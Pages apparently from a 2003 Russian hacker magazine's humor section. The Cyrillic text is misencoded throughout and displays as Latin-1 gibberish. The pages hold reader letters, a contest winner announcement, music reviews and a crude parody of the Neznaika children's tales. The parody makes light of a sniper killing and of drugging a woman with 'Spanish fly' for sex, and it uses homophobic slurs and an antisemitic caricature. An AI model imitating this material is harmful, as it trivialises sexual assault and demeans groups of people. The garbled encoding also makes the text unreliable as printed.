Êèáîðãó æå ïîñîâåòóåì íà÷àòü ñ àçîâ: êóïè êíèãó ïî àðõèòåêòóðå è óñòðîéñòâó<br />
PC, ïîòîì ïî÷èòàé ïðî ÎÑè, ïîñëå ýòîãî òåáå íàâåðíÿêà çàõî÷åòñÿ<br />
çàíÿòüñÿ êîäèíãîì, íó à äàëüøå òû è ñàì ðàçáåðåøüñÿ. Êîí÷àòü æå ïðè<br />
ýòîì ñîâñåì íå îáÿçàòåëü íî :).<br />
From: Äìèòðèé CCCC ! [dopefish2001@mail.ru]<br />
Subject:<br />
âû ïèñàëè â íîìåðå ver02.03(50) "êàê íàéòè ip ëàìåðà"<br />
îòâåòüòå ïîæàëóéñòà êàê íàéòè ip õàêåðà?<br />
 íàø çàë ñëàâû "Ä" ïîïàë Äìèòðèé ñî ñòðàííîé<br />
ôàìèëèåé "ÑÑÑÑ !". Ïîñîâåòîâàâøèñü ñ Êóòòåðîì, ìû<br />
ïðèøëè ê âûâîäó, ÷òî ïîèñê ip õàêåðà -<br />
ôóíäàìåíòàëüíàÿ ïðîáëåìà òåîðåòè÷åñêîãî âçëîìà. Ê<br />
ñîæàëåíèþ, ñîâðåìåííûé óðîâåíü ðàçâèòèÿ íàóêè íå<br />
ïîçâîëÿåò äàòü îäíîçíà÷íîãî îòâåòà íà ïîñòàâëåííûé<br />
âîïðîñ. Òàê ÷òî, ïðèäåòñÿ æäàòü ëó÷øèõ âðåìåí.<br />
Tips&Tricks<br />
Âîò è íàñòàë êîíåö ãîäà,<br />
ïîðà îáúÿâèòü ñàìîãî<br />
àêòèâíîãî ÷èòàòåëÿ, êîòîðûé<br />
ïîëó÷èò îáåùàííûå<br />
$100! Ïóòåì ñëîæíûõ<br />
àðèôìåòè÷åñêèõ<br />
ðàñ÷åòîâ ìíîé óñòàíîâëåí<br />
ïîáåäèòåëü ïî èìåíè<br />
Garik<br />
(http://www.webhowto.ru/<br />
reg)! Êèäàåì ñåðïàíòèí,<br />
õëîïàåì õëîïóøêè, ïüåì<br />
øàìïàíñêîå... Â áëèæàéøèå<br />
äíè ÿ ëè÷íî ñ<br />
íèì ñâÿæóñü è ìû äîãîâîðèìñÿ,<br />
â êàêîé âàëþòå<br />
îí ïîëó÷èò çàñëóæåííûå<br />
äåíüãè :). Íàäî ÷åñòíî<br />
ïðèçíàòü, ÷òî ïî êîëè÷åñòâó<br />
íàïå÷àòàííûõ ñîâåòîâ<br />
îí ñîâñåì íåäàëåêî<br />
óøåë îò äðóãèõ ïðåòåíäåíòîâ,<br />
çàòî åãî ñîâåòû<br />
îòëè÷àëèñü îðèãèíàëüíîñòüþ<br />
è ïîÿâëÿëèñü íå<br />
òîëüêî â æóðíàëå, íî è<br />
íà íàøåì ñàéòå. Ïîýòîìó<br />
âñåõ îñòàëüíûõ ó÷àñòíèêîâ<br />
ìû ïðîñòî ïîçäðàâëÿåì,<br />
æìåì ðóêè (äåâóøåê<br />
öåëóåì) è æåëàåì<br />
óäà÷è â ñëåäóþùåì ãî-<br />
äó, à òàêæå ïðèçûâàåì<br />
íîâûõ ñîâåò÷èêîâ ïðèíÿòü<br />
ó÷àñòèå â îáìåíå<br />
îïûòîì íà ñòðàíèöàõ íàøåãî<br />
æóðíàëà è íà ñàéòå!<br />
Óäà÷è, è ïîîñòîðîæíåé<br />
ñî ñïèðòíûìè íàïèòêàìè<br />
è ïðàâîîõðàíèòåëüíûìè<br />
îðãàíàìè â ïðàçäíèêè<br />
- ìû íå õîòèì<br />
îñòàòüñÿ áåç ÷èòàòåëåé<br />
;).<br />
Âåäóùèé ñàìîé<br />
íàðîäíîé ðóáðèêè -
Þíèòû<br />
ÕÓÌÎÐ<br />
Äàíèèë Øåïîâàëîâ<br />
Ïîâåëèòåëü ïñèõîìàòðèö ãåíåòè÷åñêè<br />
ìîäèôèöèðîâàííûõ îñëèêîâ<br />
(dan@real.xakep.ru , www.danya.ru)<br />
ÍÅÇÍÀÉÊÀ ’2003<br />
VVIIOOLLEENNCCEE EEDDIITTIIOONN<br />
1 2 3 4<br />
104 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ïîí÷èê ñèäåë â ìàêäàêå è, êàïàÿ ìàéîíåçîì íà<br />
øòàíû, çàïèõèâàë â ñåáÿ äâîéíîé ÷èçáóðãåð,<br />
êîãäà ðàçäàëñÿ øóì âèíòîâ äâóõ âåðòîëåòîâ, îñâåòèâøèõ<br />
çàáåãàëîâêó ìîùíûìè ïðîæåêòîðàìè.<br />
Åùå ÷åðåç ìãíîâåíèå ãðîìàäíûé ïðîìûøëåííûé<br />
ýêñêàâàòîð ðàçíåñ ñâîèì òÿæåëûì êîâøîì<br />
ïîëîâèíó ìàêäàêà…<br />
Äíåì ðàíåå…<br />
Íåçíàéêà íåòîðîïëèâî øåë ïî óëèöå, ïîäìåòàÿ<br />
ïûëüíûé àñôàëüò øèðîêèìè êëåøàìè, è ëåíèâî<br />
ïîèãðûâàë ôèíêîé. Ðÿäîì ñåìåíèëè Òîðîïûæêà<br />
è Ñèðîï÷èê. Òîðîïûæêà âîëî÷èë çà ñîáîé<br />
ïî àñôàëüòó ìàññèâíóþ öåïü, à Ñèðîï÷èê<br />
ïðÿòàë â êàðìàíå ñâîåé çàñðàíîé êóðòî÷êè<br />
ôëÿãó ñ ïîðòâåéíîì.<br />
Íåçíàéêà îñòàíîâèëñÿ îêîëî âèòðèíû îäíîãî èç<br />
ìàãàçèí÷èêîâ: â íåé êðàñîâàëñÿ ïîðòðåò Ïèëþëüêèíà<br />
â ôàñ è ïðîôèëü, à ÷óòü âûøå âèäíåëàñü<br />
íàäïèñü “ÐÀÇÛÑÊÈÂÀÅÒÑß ÆÈÂÛÌ ÈËÈ<br />
ÌÅÐÒÂÛÌ!”. Îêîëî ãîäà íàçàä Ïèëþëüêèí âìåñòå<br />
ñ Âèíòèêîì ïåðåæðàëè ïèëþëåê, ïîñëå ÷åãî<br />
îäåëèñü â íàöèñòñêóþ óíèôîðìó, óêðàëè â ìóçåå<br />
øìàéñåð è òðåõêîëåñíûé ìîòîöèêë ñ êîëÿñêîé, à<br />
çàòåì ïîåõàëè äåáîøèðèòü. Ñ òåõ ïîð â Öâåòî÷íîì<br />
ãîðîäå ìíîãîå èçìåíèëîñü… Âîð÷óí íàøåë<br />
ó ñåáÿ âî äâîðå íåôòü è îòêðûë ñåòü çàáåãàëîâîê.<br />
Ãóñëÿ ñîçäàë ðîê-ãðóïïó “Àíàëüíàÿ ×åñîòêà”<br />
è êîëåñèë ñ êîíöåðòàìè ïî áëèçëåæàùèì ãîðîäêàì.<br />
À ìàëûøêà ïî èìåíè Ñèíåãëàçêà íàðÿäó<br />
ñ áîðäåëåì îòêðûëà ôàáðèêó ïî ïðîèçâîäñòâó<br />
äîïîëíèòåëüíûõ ôèøåê äëÿ Áàðáè è Êåíà: ìèíèàòþðíûõ<br />
áðûçãàþùèõñÿ ÷ëåíîâ, íàðó÷íèêîâ<br />
è ïðî÷èõ íàâîðî÷åííûõ ïðèìî÷åê.<br />
Âíåçàïíî ïî äîðîãå ìèìî íåçíàéêèíîé áàíäû<br />
ïðîíåñëàñü ãðîìàäíàÿ ìàøèíà, îáäàâ èõ ñ íîã äî<br />
ãîëîâû ãðÿçüþ.<br />
- Àõ òû äðÿíü! – êðèêíóë â ñåðäöàõ Íåçíàéêà è<br />
ïîãðîçèë óäàëÿþùåéñÿ òà÷êå êóëàêîì.<br />
Âèäèìî âîäèòåëü çàìåòèë åãî æåñò: ìàøèíà îñòàíîâèëàñü<br />
è íåìåäëåííî äàëà çàäíèé õîä.<br />
Ïîäúåõàâ, îíà åùå ðàç õîðîøåíüêî îáäàëà êîðîòûøåê<br />
ãðÿçüþ. Íåçíàéêà âûòåð ëèöî ðóêàâîì<br />
ñâîåé îðàíæåâîé ðóáàøêè è îñìîòðåëñÿ: ïåðåä<br />
íèì ñòîÿë õàììåð Âîð÷óíà. Îòêóäà-òî èçíóòðè<br />
õàììåðà äîíîñèëñÿ îãëóøèòåëüíûé èçðàèëüñêèé<br />
ðýïàê, à èç ùåëåé â îêíàõ âàëèëè ãóñòûå êëóáû<br />
ãîëóáîãî äûìà. Îäíî èç ñòåêîë ìåäëåííî îïóñòèëîñü,<br />
è Íåçíàéêà ðàçãëÿäåë íà çàäíåì ñèäåíüå<br />
Âîð÷óíà: ðÿäîì ñ íèì ñèäåëà Ñèíåãëàçêà â âå-<br />
÷åðíåì ïëàòüå c ãëóáîêèì äåêîëüòå, à íà óðîâíå<br />
æèâîòà êîðîòûøêè îæèâëåííî äâèãàëàñü ââåðõâíèç<br />
áëîíäèíèñòàÿ øåâåëþðà Êíîïî÷êè. Âîð÷óí<br />
ñëåãêà çàìåøêàëñÿ, îòñòðàíÿÿ Êíîïî÷êó, à çàòåì<br />
îòêðûë äâåðü è âûøåë èç ìàøèíû. Íà íåì áûë<br />
øèêàðíûé ñìîêèíã, à íà ãîëîâå êîðîòûøêè êðàñîâàëèñü<br />
ïåéñû è êèïà. Âîð÷óí âûïëþíóë â ñòîðîíó<br />
çäîðîâåííûé äæîéíò, òêíóë â Íåçíàéêó<br />
òðîñòüþ ñ ïëàòèíîâûì íàáàëäàøíèêîì è, ñëåãêà<br />
êàðòàâÿ, ïðîèçíåñ:<br />
- Íåò, âû òîëüêî ïîñìîò’ãèòå íà ýòîãî ïîöà! Îí<br />
òàêè äóìàåò, ÷òî ìîæåò äåëàòü â ýòîì ãîðîäå âñå,<br />
÷òî çàõî÷åò! Íó-êà áûñò’ãî êàæäûé îòæàëñÿ 150<br />
‘ãàç!<br />
- Äà, ñýð! Êàê ñêàæåòå, ñýð! - Òîðîïûæêà è Ñèðîï-<br />
÷èê òóò æå óïàëè íà çåìëþ è ïðèíÿëèñü ýíåðãè÷íî<br />
îòæèìàòüñÿ.<br />
Íåçíàéêà â îòâåò ëèøü âûïÿòèë ãðóäü è êðåï÷å çàæàë<br />
ìåæäó çóáàìè ñâîþ çàìóñîëåííóþ ïàïèðîñó.<br />
- Äà, Âîð÷óí – êðóòàí! – íàðóøèë ñêîðáíîå<br />
ìîë÷àíèå Ñèðîï÷èê, êîãäà õàììåð ñêðûëñÿ çà<br />
ïîâîðîòîì. - Âîò áû íàì âîëøåáíóþ ïàëî÷êó,<br />
ìû áû òîãäà òîæå ñ ìàíåðíûìè òåòêàìè íà êðóòûõ<br />
òà÷êàõ åçäèëè!<br />
Íåçíàéêà ïîäíÿëñÿ ñ àñôàëüòà, âûïëþíóë îêðîâàâëåííûé<br />
çóá, ïîïûòàëñÿ ñòåðåòü ñî ñâîåé øëÿïû<br />
ñëåä àâòîìîáèëüíîé øèíû, çàòåì íåäîáðî<br />
ïîñìîòðåë íà Ñèðîï÷èêà è áðîñèë:<br />
- Ëó÷øå óæ òîãäà âîëøåáíûé ñòâîë!<br />
Ïðîñòîâàòûé Ñèðîï÷èê íå îöåíèë èðîíèþ áîññà:<br />
- Íå, ëó÷øå ïàëî÷êó! ß ïðî íåå â êíèæêå ÷èòàë.<br />
Âçìàõíóë, ïîæåëàë ÷åãî-íèáóäü è ðàç – æåëàíèå<br />
òóò æå èñïîëíèëîñü!<br />
ÐÓÁÐÈÊÀ «ß ÏËÀÊÀË<br />
[È ÁÈËÑß ÃÎËÎÂÎÉ Î ÑÒÅÍÓ]»<br />
ñàìîå-ñàìîå ïèñüìî Äàíå<br />
from: Petrov Pavel <br />
subj: Ïðèãëàøåíèå ê ñîòðóäíè÷åñòâó<br />
Çäðàâñòâóéòå, óâàæàåìûé Äàíèèë<br />
Øåïîâàëîâ!<br />
Íåäàâíî ÿ îçíàêîìèëñÿ ñ Âàøèìè<br />
ñòàòüÿìè â æóðíàëå "Õàêåð" è äîëæåí<br />
îòìåòèòü Âàø âåñüìà âûñîêèé óðîâåíü â<br />
òåîðèè êîíòðîëèðóåìîé øèçîôðåíèè.<br />
Âàøè çíàíèÿ ìîãóò óñêîðèòü ðàçâèòèå<br />
ýòîé îòíîñèòåëüíî ìîëîäîé îòðàñëè<br />
ïñèõîëîãè÷åñêîé íàóêè. ß ïðåäëàãàþ Âàì<br />
ñîòðóäíè÷åñòâî ñ ðóññêîÿçû÷íîé âåðñèåé<br />
æóðíàëà "Jahrbuch fur psihoanalitik und<br />
psihopatalogik", êîòîðàÿ íàçûâàåòñÿ<br />
"Âîïðîñû ïñèõèàòðèè è åå ïðèëîæåíèé".<br />
Ñóäÿ ïî Âàøèì ñòàòüÿì, ó Âàñ ñêîïèëñÿ<br />
îãðîìíûé àðõèâ ïèñåì ÷èòàòåëåé,<br />
êîòîðûå áóäóò âåñüìà èíòåðåñíû<br />
÷èòàòåëÿì íàøåãî æóðíàëà, à òàêæå<br />
ó÷åíûì Èíñòèòóòà Ïðèêëàäíîé è Îáùåé<br />
Ïñèõîëîãèè ÐÀÌÍ. Ìû íå ñîìíåâàåìñÿ â<br />
íàëè÷èè ó Âàñ âûñøåãî ïñèõîëîãè÷åñêîãî<br />
îáðàçîâàíèÿ, à âîçìîæíî è ó÷åíîé<br />
ñòåïåíè. Èíñòèòóò íàõîäèòñÿ ïî àäðåñó ã.<br />
Ìîñêâà, óë. Ìàðøàëà Øàïîøíèêîâà, ä. 15,<br />
êîðïóñ 2.  ðàáî÷åå âðåìÿ ìåíÿ òàì<br />
ìîæíî íàéòè â êàáèíåòå ¹328. Åñëè ìåíÿ<br />
òàì íå îêàæåòñÿ, òî ìîæíî ñïðîñèòü íà<br />
âàõòå çàâ. Îòäåëà Òåîðèè Êîíòðîëèðóåìîé<br />
Øèçîôðåíèè. Íî ÷òîáû èçáåæàòü<br />
ïîäîáíûõ ðàñõîæäåíèè - íàïèøèòå ìíå,<br />
êîãäà Âàì óäîáíî ïðèåõàòü. Êñòàòè - åñëè<br />
ó âàñ íåò ó÷åíîé ñòåïåíè - â÷åðà ó íàñ â<br />
Èíñòèòóòå íà÷àë ðàáîòó Ñîâåò ïî çàùèòå<br />
äîêòîðñêèõ äèññåðòàöèé â îáëàñòè<br />
ïðèêëàäíîé ïàðàïñèõîëîãèè è<br />
ïñèõîãåíåòèêè. Äèàïàçîí òåì î÷åíü<br />
øèðîêèé, ò.ê. òåîðèÿ êîíòðîëèðóåìîé<br />
øèçîôðåíèè îòíîñèòåëüíî ìîëîäàÿ<br />
îòðàñëü ïñèõîëîãèè, è ðàìêè èçó÷àåìûõ<br />
åþ ïðîöåññîâ äî êîíöà íå<br />
ñôîðìèðîâàëèñü. Âû, ñóäÿ ïî Âàøèì<br />
ïóáëèêàöèÿì, ìîæåòå áåç ïðîáëåì<br />
çàùèòèòüñÿ, íàïðèìåð, ïî òàêîé òåìå êàê<br />
"Êîíòðîëèðóåìûå ñàìîâíóøåíèÿ" èëè<br />
"Îñîáåííîñòè ðàçëè÷èÿ ìåæäó<br />
êîíòðîëèðóåìûìè<br />
ïñèõîíåâðîëîãè÷åñêèìè ïðîöåññàìè ó<br />
îñîáåé ðàçëè÷íûõ ïîëîâ". Íàø Èíñòèòóò<br />
íîìèíèðóåòñÿ íà ãðàíò ïî èññëåäîâàíèÿì<br />
â îáëàñòè ñóáêóëüòóðíîãî ðàçëè÷èÿ<br />
êîíòðîëèðóåìûõ ýôôåêòîâ<br />
ñàìîâíóøåíèÿ, ïîýòîìó èññëåäîâàíèÿ â<br />
ýòîé îáëàñòè òàêæå âåñüìà ïåðñïåêòèâíû.<br />
Åñëè Âàñ çàèíòåðåñîâàëî íàøå<br />
ïðåäëîæåíèå, òî ñâÿæèòåñü ñî ìíîé ïî email:<br />
p_petrov@mail.ru.<br />
-<br />
Ïîíÿòíî. È ãäå òàêóþ äîñòàòü ìîæíî? Â òâîåé<br />
êíèæêå áûëî íàïèñàíî?<br />
Ñèðîï÷èê ïî÷åñàë â çàòûëêå:<br />
- Íåò, íå áûëî. Íî ÿ äóìàþ, Çíàéêà çíàåò…<br />
X-MUSIC<br />
Ìóçûêà äëÿ õàêåðà<br />
Êîìàíäà: Ñïëèí<br />
(www.spleanonline.ru)<br />
Ïëàñòèíêà:"Íîâûå ëþäè"<br />
Ðåëèç:Sony Music<br />
Ðåàëüíûé õèò: "Íîâûå<br />
ëþäè"<br />
Êîìïàíèÿ Sony Music<br />
ïðåäñòàâëÿåò âíèìàíèþ<br />
òâîèõ óøåé íîâûé àëüáîì<br />
ãðóïïû Ñïëèí ïîä íàçâàíèåì<br />
«Íîâûå Ëþäè». Êîìïàêò ïðîñòî ñóïåðñêèé.<br />
Ñëóøàòü îáÿçàòåëüíî. Âîò ïîñìîòðèøü,<br />
åùå ñàì èëè ñ äðóãàíàìè íå ðàç ïðîãîðëàíèøü<br />
òîò æå ñàìûé "Ãàíäáîë" èëè åùå ÷òî-íèáóäü.<br />
Íó à êëèï, êîòîðûé ñíÿëè íà "Íîâûõ ëþäåé" è êðóòÿò<br />
íà ìóçûêàëüíûõ êàíàëàõ - ïðîñòî äîñòîèí îòäåëüíîãî<br />
óïîìèíàíèÿ. Äà, â ïðåññ-ðåëèçå, ïîñâÿùåííîì âûõîäó ïëàñòèíêè<br />
âñòðåòèëîñü ïðèêîëüíåéøåå ïðåäëîæåíèå "À ôðàçó «...äåëàþ<br />
ìèíåò ñâîåìó ìèêðîôîíó...» íàâåðíÿêà åùå íå ðàç îáìóñîëèò<br />
ïèøóùàÿ áðàòèÿ." Ïðîñèëè - îáìóñîëèì, â ÷åì ïðîáëåìà-òî?<br />
Ëèøü áû áîëüøå íà íàñ "ïèøóùèìè áðàòèÿìè" íå îáçûâàëèñü.<br />
Ìóçûêà äëÿ êðÿêåðà<br />
Êîìàíäà: Öåëàÿ ãðóïïà ðàçíîïîëûõ<br />
ãðàæäàí<br />
Ïëàñòèíêà: "Moby. Remix<br />
album"<br />
Ðåëèç: Mute Records, 2000<br />
Ðåàëüíûé õèò: Äà ïî÷òè<br />
êàæäûé<br />
"Remix album", êàê ÿâñòâåííî<br />
ñëåäóåò íåïîñðåäñòâåííî<br />
èç íàçâàíèÿ, çàïîëíåí<br />
äî îòêàçà âñåâîçìîæíûìè<br />
ìèêñàìè<br />
è ðåìèêñàìè íà îòëè÷íî<br />
èçâåñòíûå âî âñåì<br />
ìèðå ìîòèâ÷èêè. Ðåìèêñû<br />
íàâàÿëè òàêèå èçâåñòíûå òîâàðèùè<br />
è ãðóïïû òîâàðèùåé êàê ATB,<br />
Planet Perfecto, Olav Basoski. Íó è ñàì<br />
Moby ëè÷íî òîæå ïðèëîæèë ðóêó-äðóãóþ, çàìèêøèðîâàë<br />
ìàëîñòü ñàìîãî ñåáÿ. Êîðî÷å, åñëè<br />
çíàåøü, êòî òàêîé Moby, òî òåáå òî÷íî ïîíðàâèòñÿ.<br />
Ìóçûêà äëÿ çàïàäëîñòðîèòåëÿ<br />
Êîìàíäà: Çåìôèðà<br />
Ïëàñòèíêà: "14 íåäåëü òèøèíû"<br />
Ðåëèç: Real Records, 2002<br />
Ðåàëüíûé õèò: Ìà÷î<br />
1 àïðåëÿ 2002 ãîäà êîìïàíèÿ Real<br />
Records âûïóñêàåò â ñâåò òðåòèé<br />
àëüáîì Çåìôèðû "14 íåäåëü òèøèíû"<br />
("à èìåííî ñòîëüêî âðåìåíè<br />
óøëî ó Çåìôèðû íà åãî<br />
ñîçäàíèå - ÷åòûðíàäöàòü íåäåëü<br />
àáñîëþòíîé ïîãðóæåííîñòè<br />
â ìóçûêó, íåäåëü çàòâîðíè÷åñòâà,<br />
ñîñðåäîòî-<br />
÷åííîñòè, ïîçíàíèÿ ñåáÿ").<br />
Íîâàÿ ìóçûêà, íîâàÿ<br />
Çåìôèðà, íîâîå<br />
çâó÷àíèå... ãîä íàçàä<br />
æäàëè ÷åãî óãîäíî. È<br />
äîæäàëèñü. Âîò ÷òî ñàìà<br />
Çåìôèðà ïî ïîâîäó àëüáîìà<br />
ñîîáùèëà: "ß íå áûëà óâåðåíà, ÷òî<br />
âûïóùó ýòîò àëüáîì. Ìíå âàæíî áûëî â<br />
ïðèíöèïå ðàçîáðàòüñÿ: íóæíî ýòèì çàíèìàòüñÿ,<br />
íå íóæíî… Çàîñòðèòü ïåðî è íàñòðî-<br />
÷èòü 15 "Ðîìàøåê" íåìóäðåíî. Íî íàäî ñäâèíóòüñÿ<br />
ñ ìåñòà. À ÿ íå ìîãëà. È íå ïîíèìàëà - ïî÷åìó. È íè ñ<br />
òîãî íè ñ ñåãî íàïèñàëà ïåñíþ Infinity. È ïðè÷èíà âñêðûëàñü,<br />
è ñðàçó ïîíÿëà, ÷òî àëüáîì-òî âûïóùó! "Áåñêîíå÷íîñòü"<br />
- çíàê, ÷òî âñå äåëàþ ïðàâèëüíî…"<br />
Ìóçûêà äëÿ warezíèêà<br />
Êîìàíäà: Þòà<br />
Ïëàñòèíêà: "Õìåëü è ñîëîä"<br />
Ðåëèç: Real Records, 2002<br />
Ðåàëüíûé õèò: Ïàäàòü<br />
Ìîæíî, êîíå÷íî, ïîíàïèñàòü ïðî<br />
ýòó ïëàñòèíêó âñÿêèõ îêîëîìóçûêàëüíûõ<br />
ãëóïîñòåé, òèïà, àóòåíòè÷íîå<br />
çâó÷àíèå, ñòèëèñòè÷åñêèé<br />
ìóçûêàëüíûé ñèìáèîç,<br />
èíòîíàöèîííàÿ íàñûùåííîñòü<br />
è ïðî÷èé<br />
õëàì. Íî íåôèã. Íå áóäåì<br />
ìû ýòîãî äåëàòü.<br />
Ëó÷øå ÿ òåáå ïî ñåêðåòó<br />
ñîîáùó, ÷òî àëüáîì<br />
ýòî íå õèòîâûé, íå<br />
ñåíñàöèîííûé è íå äîëãîæäàííûé.<br />
×òî íèêàê íå óìàëÿåò<br />
åãî äîñòîèíñòâ è îñòàâëÿåò öåíèòåëÿì<br />
âîçìîæíîñòü íàñëàäèòüñÿ î÷åíü<br />
÷åñòíûìè ïåñíÿìè â èñïîëíåíèè Þòû.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 105
Þíèòû<br />
ÕÓÌÎÐ<br />
Äàíèèë Øåïîâàëîâ<br />
Ïîâåëèòåëü ïñèõîìàòðèö ãåíåòè÷åñêè<br />
ìîäèôèöèðîâàííûõ îñëèêîâ<br />
(dan@real.xakep.ru , www.danya.ru)<br />
Çíàéêà ñèäåë çà ñòîéêîé â íîâîì ãåé-<br />
êëóáå “Øèðèíêà”, àðò-äèðåêòîðîì êîòîðîãî áûë<br />
Òþáèê. Çíàéêà çàøåë ñþäà â ïåðâûé ðàç - íà äåëîâóþ<br />
âñòðå÷ó ñ õóäîæíèêîì – è òåïåðü íåóâåðåííî<br />
îãëÿäûâàëñÿ ïî ñòîðîíàì. Íà ñöåíå âîêðóã<br />
øåñòà ïðèçûâíî êðóòèëñÿ Öâåòèê â ÷åðíîì<br />
ëàòåêñå, à ïüÿíûå â äþïåëü Àâîñüêà ñ Íåáîñüêîé<br />
ñ óëþëþêàíüåì ïûòàëèñü çàñóíóòü åìó â òðóñû<br />
íåñêîëüêî çåëåíûõ áóìàæåê.<br />
- Òàê âîò, Çíàéêà, ñìîòðè ñþäà! – Òþáèê äîñòàë èç<br />
ïîðòôåëÿ ÷èñòûé ëèñò áóìàãè è ïðèíÿëñÿ ðèñîâàòü<br />
íà íåì êàêóþ-òî ñõåìó. – Ìû ñ Öâåòèêîì<br />
õîòèì îòêðûòü ïëàòíûé<br />
ïîðíîñàéò è çàøèáàòü íåêèñëîå áàáëî. Äèçàéí ÿ<br />
óæå ñäåëàë, äâèæîê òîæå èìååòñÿ. Íî òóò ïðîáëåìà<br />
îäíà. Äåëî â òîì, ÷òî ñåé÷àñ åñòü âñåãî îäèí<br />
êîíòåíò-ïðîâàéäåð ïîðíîãðàôèè, è âñå ñàéòû òàê<br />
èëè èíà÷å ïîëüçóþòñÿ åãî áàçîé, îòñòåãèâàÿ åìó<br />
ïðîöåíò. À îí, ÿñíîå äåëî, îòñëåæèâàåò âñåõ íà-<br />
÷èíàþùèõ êîíêóðåíòîâ è òîãî… ÷ïîê!<br />
- ×ïîê?<br />
- ×ïîê – ýòî â ëó÷øåì ñëó÷àå. Ïîìíèøü, Ìîë÷óíà<br />
íåäàâíî â òóàëåòå íàøëè? Åðøèêîì, áåäíÿãà,<br />
ïîäàâèëñÿ! Òîæå áèçíåñ ñâîé â èíòåðíåòå õîòåë<br />
íà÷àòü. Òàê âîò, ñåé÷àñ âñå ïîðíî â Öâåòî÷íîì<br />
ãîðîäå êîíòðîëèðóåò Âîð÷óí, è ÿ õî÷ó, ÷òîáû òû<br />
âçëîìàë åãî ñåðâàê! Ñìîæåøü? Ïëà÷ó 10 øòóê!<br />
Âíåçàïíî ÷üÿ-òî ðóêà ñõâàòèëà Çíàéêó çà øèâîðîò<br />
è âûâîëîêëà èç-çà ñòîéêè:<br />
- Àõ, âîò òû ãäå, áîòàíñêàÿ ìîðäà! Ìû òåáÿ ïî<br />
âñåìó ãîðîäó èùåì, à òû, çíà÷èò, â ïåäåðàñòû<br />
ïîäàëñÿ!<br />
Çíàéêà ïîïðàâèë ïàëüöåì î÷êè:<br />
- ß… äà íåò… òû íå ïîíÿë… ó ìåíÿ…<br />
Íåçíàéêà òðÿõàíóë êîðîòûøêó òàê, ÷òî åãî î÷êè<br />
óïàëè íà ïîë, è ïðîäîëæèë:<br />
- Ñèðîï÷èê ñêàçàë, òû çíàåøü, ãäå äîñòàòü âîëøåáíóþ<br />
ïàëî÷êó!<br />
Çíàéêà áëèçîðóêî ïðèùóðèëñÿ:<br />
- Âîëøåáíóþ ïàëî÷êó? Íåò íè÷åãî ïðîùå: íóæíî<br />
ñîâåðøèòü òðè äîáðûõ ïîñòóïêà ïîäðÿä, è<br />
òîãäà â íàãðàäó òåáå äàäóò âîëøåáíóþ ïàëî÷êó!<br />
- Ïîíÿë! Ïîøëè, áðàòâà, äîáðûå ïîñòóïêè ñîâåðøàòü!<br />
– Íåçíàéêà ñìà÷íî íàñòóïèë íà çíàéêèíû<br />
î÷êè è íàïðàâèëñÿ ê âûõîäó.<br />
Îõîòíèê Ïóëüêà åùå ðàç ïåðåñ÷èòàë ïîëó÷åííûå<br />
îò Òþáèêà äåíüãè, óëûáíóëñÿ ùåðáàòûì<br />
ðòîì è ïðèíÿëñÿ íàëàæèâàòü îïòè÷åñêèé ïðèöåë.<br />
Îí ñèäåë íà êðûøå ïåðåä îôèñîì êîìïàíèè<br />
“Ìåäóíèöà ôàðìàñüþòèêàëñ” ñî ñíàéïåðñêîé<br />
âèíòîâêîé è æäàë ïðèåçäà Âîð÷óíà. Âíåçàïíî<br />
íà æåëåçíîé ëåñòíèöå, âåäóùåé íà êðûøó,<br />
ïîñëûøàëèñü ãóëêèå øàãè, è èç-çà êîçûðüêà<br />
ïîêàçàëàñü íåçíàéêèíà áàíäà.<br />
- Ïóëüêà, çäîðîâî!<br />
- È òû, Íåçíàéêà, íå áîëåé! – Ïóëüêà íåçàìåòíî<br />
ïðîòÿíóë ðóêó ê ñâîåé ÷åðíîé ñóìêå çà ÓÇÈ.<br />
- Ñëóøàé, òû ïðîñòè, ÷òî ìû òîãäà òâîåãî Áóëüêó<br />
íà øàâåðìó ñäàëè – î÷åíü äåíüãè íóæíû áûëè!<br />
À ñåé÷àñ ìû äîáðûå ïîñòóïêè ñîâåðøàåì! Äàâàé<br />
âîò òåáå ïîìîæåì! – Íå äîæèäàÿñü îòâåòà, Íåçíàéêà<br />
âûðâàë èç ðóê Ïóëüêè ñíàéïåðñêóþ âèíòîâêó,<br />
ëåã íà òåïëûé ãóäðîí è íà÷àë ñêàíèðîâàòü<br />
â îïòè÷åñêèé ïðèöåë óëèöó. Íà íåé áûëî<br />
àáñîëþòíî ïóñòî, òîëüêî Òþáèê øåë êóäà-òî ïî<br />
äåëàì, íàñâèñòûâàÿ ñåáå ïîä íîñ ïåñåíêó. Íåçíàéêà<br />
ïîâåðíóëñÿ ê Ïóëüêå è âåñåëî áðîñèë:<br />
– Ïðàâèëüíî, äàâíî ïîðà ýòîãî ïåäà çàìî÷èòü!<br />
Çàòåì ïðèöåëèëñÿ è ïëàâíî íàæàë íà êóðîê…<br />
Íåçíàéêà ñèäåë íà îáî÷èíå õàéâåÿ îêîëî<br />
ìàêäàêà è íåäîâîëüíî êèäàëñÿ êàìíÿìè â ïðîåçæàþùèå<br />
ìàøèíû.<br />
- Íåò, Ñèðîï÷èê, ÿ æå âñå ïðàâèëüíî ñäåëàë! Òðè<br />
äîáðûõ ïîñòóïêà – âñå êàê íàäî! Ïóëüêå ïîìîã<br />
Òþáèêà çàìî÷èòü – ðàç. Êíîïî÷êó îò èçíàñèëîâàíèÿ<br />
ñïàñ – äâà.<br />
- Ýòî êàê æå òû åå ñïàñ, áðàòåö?<br />
- À ÿ åå øàìïàíñêèì ñî øïàíñêîé ìóøêîé íàêà-<br />
÷àë, è îíà ìíå ñàìà äàëà. Èíà÷å áû îáÿçàòåëüíî<br />
èçíàñèëîâàë!<br />
- Íó ëàäíî. À òðåòèé êàêîé? – ñïðîñèë Ñèðîï÷èê<br />
îòõëåáíóâ èç ôëÿãè ïîðòâåéíà.<br />
- Òðåòèé… À òðåòèé ñåé÷àñ áóäåò. Âîí âèäèøü,<br />
Ïîí÷èê â ìàêäàê èäåò? Ñåé÷àñ ìû äëÿ íåãî êàêîé-íèáóäü<br />
äîáðûé ïîñòóïîê ñîâåðøèì.<br />
Íåçíàéêà ïîäíÿëñÿ ñ àñôàëüòà è êðèêíóë:<br />
- Ýé, æèðòðåñò, èäè ñþäà!!!<br />
Ïîí÷èê, çàìåòèâ Íåçíàéêó, õîòåë áûëî òóò æå<br />
ïîäîðâàòüñÿ è óáåæàòü, íî, ïîäóìàâ, ðåøèë, ÷òî<br />
åãî âñå ðàâíî äîãîíÿò.<br />
